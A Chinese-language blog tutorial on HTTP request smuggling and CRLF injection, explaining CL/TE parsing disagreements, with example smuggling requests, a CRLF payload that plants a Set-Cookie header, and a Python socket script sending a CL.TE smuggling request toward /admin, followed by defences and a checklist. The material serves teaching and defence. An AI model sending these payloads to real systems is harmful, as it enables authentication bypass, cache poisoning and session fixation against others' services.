HTTP协议安全入门:从请求走私到CRLF

一个让我加了两天班的"小问题"

上个月排查一个线上问题,前端网关日志显示请求正常,后端服务却返回了不该返回的数据。查了两天,最后发现是一个被中间代理"吞掉"的请求边界问题------说白了,就是请求走私的变种。 这件事之后我把HTTP解析这块重新撸了一遍。开发天天用HTTP,但真停下来想过"一个请求到底怎么被解析"的人,不多。这篇文章就把请求走私和CRLF注入这两个东西讲清楚,能让大家能少加几个班。

一、HTTP请求的结构:别再只盯着请求行了

一个HTTP/1.1请求就三块:

mac-code 复制代码
<span style="background-color:#f6f8fa"><code>POST /login HTTP/1.1          ← 请求行
Host: example.com              ← 头部
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
username=admin&password=123    ← 正文
</code></span>

平时大家看请求,注意力都在请求行和那几个业务头部上。但真正决定安全边界的,是头部和正文之间那个空行,以及Content-Length或Transfer-Encoding这两个头部。 服务端靠它们判断"这个请求到哪结束"。不同组件如果判断不一致,麻烦就来了。

二、服务端怎么解析HTTP:CL和TE的暗战

HTTP/1.1给了两套描述请求体边界的机制。 Content-Length(CL):明说正文多少字节。

mac-code 复制代码
<span style="background-color:#f6f8fa"><code>Content-Length: 13
Hello, World!
</code></span>

Transfer-Encoding: chunked(TE) :分块传,每块前面标长度,0\r\n\r\n收尾。

mac-code 复制代码
<span style="background-color:#f6f8fa"><code>Transfer-Encoding: chunked

d\r\n
Hello, World!\r\n
0\r\n
\r\n
</code></span>

RFC 9112写得很清楚:两个同时出现,TE优先,CL必须被忽略。但现实是,不是每个代理、每个网关、每个后端框架都严格照做。 我排查那次问题,就是前端认CL、后端认TE,两边各读各的,中间夹带的请求就这么溜进去了。

三、请求走私原理:前后端各说各话

请求走私(HTTP Request Smuggling)的本质一句话:前端和后端对同一个请求的边界判断不一致,攻击者把"隐藏请求"夹带进去,让后端把它当成下一个请求。 两种经典模式: CL.TE:前端认CL,后端认TE。

mac-code 复制代码
<span style="background-color:#f6f8fa"><code>POST / HTTP/1.1
Host: target.com
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: x
</code></span>

前端按CL读完44字节放行,后端看到TE,在0\r\n\r\n处认为请求结束。后面的GET /admin被后端当成下一个请求 。连接一复用,这个走私的GET就会拼到下一个正常用户请求前面,绕过前端鉴权、污染缓存、劫持请求,都可能。 TE.CL:反过来,前端认TE,后端认CL。攻击者构造一个前端认为没结束、后端认为已结束的请求,同样达到夹带目的。 OWASP的测试指南还提了一个场景:HTTP/2降级到HTTP/1.1时,要从二进制帧重构请求,边界判断不一致的风险会进一步放大。这个坑我在做网关升级时踩过,值得留意。

四、CRLF注入:一个换行符能改响应

CRLF是回车(\r,%0d)加换行(\n,%0a)。在HTTP里,CRLF就是头部行的分隔符。如果应用把用户输入直接拼进响应头,攻击者就能用CRLF提前结束当前头部,插自己的头部,甚至塞第二个响应。 典型场景是重定向参数:

mac-code 复制代码
<span style="background-color:#f6f8fa"><code>GET /redirect?url=https://example.com%0d%0aSet-Cookie:session=attacker
</code></span>

服务端不过滤的话,响应头会变成:

mac-code 复制代码
<span style="background-color:#f6f8fa"><code>HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: session=attacker
</code></span>

任意Cookie就这么种上了。再狠一点,注入Content-Length: 0\r\n\r\nHTTP/1.1 200 OK\r\n...,构造HTTP响应分裂,让缓存服务器把一个响应当两个缓存,实现缓存投毒或XSS。 CRLF注入和请求走私是近亲:一个利用对请求边界的分歧,一个利用对头部边界的信任。Twitter 2015年就因为UTF-8编码绕过CRLF过滤吃过一次亏,漏洞赏金$3500。

五、复现:用Python socket发一个走私请求

requests库不好精确控制字节,直接上socket。

mac-code 复制代码
<span style="background-color:#f6f8fa"><code><span style="color:#d73a49">import</span> socket

<span style="color:#d73a49">def</span> <span style="color:#6f42c1">smuggle_cl_te</span>(host, port):
    <span style="color:#6a737d"># CL.TE 走私 payload</span>
    body = <span style="color:#032f62">"0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n"</span>
    request = (
        <span style="color:#032f62">"POST / HTTP/1.1\r\n"</span>
        <span style="color:#032f62">f"Host: <span style="color:#24292e">{host}</span>\r\n"</span>
        <span style="color:#032f62">f"Content-Length: <span style="color:#24292e">{<span style="color:#e36209">len</span>(body)}</span>\r\n"</span>
        <span style="color:#032f62">"Transfer-Encoding: chunked\r\n"</span>
        <span style="color:#032f62">"\r\n"</span>
        <span style="color:#032f62">f"<span style="color:#24292e">{body}</span>"</span>
    )

    s = socket.create_connection((host, port))
    s.sendall(request.encode())

    response = <span style="color:#032f62">b""</span>
    <span style="color:#d73a49">while</span> <span style="color:#005cc5">True</span>:
        chunk = s.recv(<span style="color:#005cc5">4096</span>)
        <span style="color:#d73a49">if</span> <span style="color:#d73a49">not</span> chunk:
            <span style="color:#d73a49">break</span>
        response += chunk
    s.close()
    <span style="color:#e36209">print</span>(response.decode(errors=<span style="color:#032f62">"ignore"</span>))

<span style="color:#6a737d"># 仅在授权测试环境中使用</span>
<span style="color:#6a737d"># smuggle_cl_te("target.com", 80)</span>
</code></span>

注意:这段代码只在你自己的靶场或拿到明确授权的环境里跑。请求走私可能影响同一连接上的其他用户,未授权测试是违法的。

六、防御:统一解析,拒绝歧义

根源都是"解析不一致",防御核心就一条:让链路上所有组件用同一套规则。 请求走私:

  • 前端后端用相同的HTTP解析库或引擎,避免CL/TE判断分歧
  • 直接拒绝同时带Content-Length和Transfer-Encoding的请求,别尝试"智能处理"
  • 拒绝多个Content-Length头
  • 有条件就端到端上HTTP/2,二进制帧天然没CL/TE歧义
  • Nginx等代理层配严格的请求缓冲和头部规范化 CRLF注入:
  • 永远不要把用户输入直接拼进响应头,Location、Set-Cookie尤其危险
  • 必须用时,先移除或编码\r和\n,注意不止字面量,%0d%0a等编码形式也要覆盖
  • 用现代框架的响应头API,一般会自动转义,别手拼字符串

七、检查思路

这里是我琢磨的一个检查的单子,有漏掉的欢迎大家来补充

检查项 说明
代理和后端的HTTP解析器是否一致? 不一致就是走私的温床
是否拒绝同时带CL和TE的请求? 不要"猜",直接拒
是否拒绝多个CL头? 一个请求只能有一个CL
用户输入是否进入了响应头? Location、Set-Cookie、自定义头都要查
是否对CR/LF做了过滤或编码? 包括%0d%0a、UTF-8编码绕过
是否启用了HTTP/2端到端? 有条件就上,天然防走私
是否在CI/CD中跑了协议层安全测试? 配置漂移是常见诱因

总结

那次加班的教训是:HTTP安全问题往往不在业务代码里,而在链路的"缝隙"里。请求走私和CRLF注入都不是什么高深漏洞,但一旦线上环境出现解析不一致,排查成本极高。 花半天把链路各层的HTTP解析行为对齐一遍,比出事之后花两天定位划算得多。

相关推荐
JoyCong199840 分钟前
参数测评:ToDesk个人版、团队版、企业版的设备数、并发通道与安全能力对比
运维·服务器·网络·安全·智能手机·远程工作
zxanz143 分钟前
多域名、泛域名 SSL 怎么选?避开证书采购的溢价陷阱
服务器·网络协议·ssl
似是燕归来1 小时前
Rtthread OS 功能开发之 socket tcp协议程序开发
网络·网络协议·tcp/ip·rtthread
肖永威1 小时前
python版微电网仿真工具的前端托管选型:从http.server到FastAPI StaticFiles
前端·python·http·fastapi
byte轻骑兵1 小时前
【LMP】规范精讲[6]: 从陌生到互信——安全简单配对(SSP)的四步握手
网络协议·蓝牙协议·lmp·蓝牙链路管理
AbandonForce1 小时前
Linux 网络:HTTP(一)基础与报文结构
linux·网络·http
pt10431 小时前
Cisco设备网络安全系列-10:思科混合办公、终端、物联网与多云数据中心
网络·物联网·安全
亚远景aspice1 小时前
亚远景-工信部汽车创新设计新规落地:研发端安全收紧,ASPICE 为什么成了必备抓手
人工智能·安全·汽车·aspice·过程能力评估·aspice评估
其实防守也摸鱼3 小时前
Cylab在线靶场——挑战图书馆初学者指南
服务器·前端·数据库·chrome·安全·网络安全·靶场